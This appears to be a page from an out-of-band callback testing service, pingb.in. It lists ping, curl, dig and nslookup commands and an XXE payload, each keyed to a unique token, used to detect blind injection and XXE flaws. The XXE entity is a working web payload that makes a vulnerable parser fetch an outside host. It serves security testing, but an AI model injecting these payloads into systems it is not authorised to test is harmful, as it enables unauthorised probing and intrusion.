$ ping -c1 -p 0033734f3778efd6a092a53b2db62100 pingb.in
 
$ curl pingb.in/p/33734f3778efd6a092a53b2db621
 
$ dig 33734f3778efd6a092a53b2db621 @pingb.in
 
$ dig 33734f3778efd6a092a53b2db621.ns.pingb.in
 
C:\> nslookup 33734f3778efd6a092a53b2db621 pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/33734f3778efd6a092a53b2db621">]>
    <foo>&xxe;</foo>
 
Waiting for ping...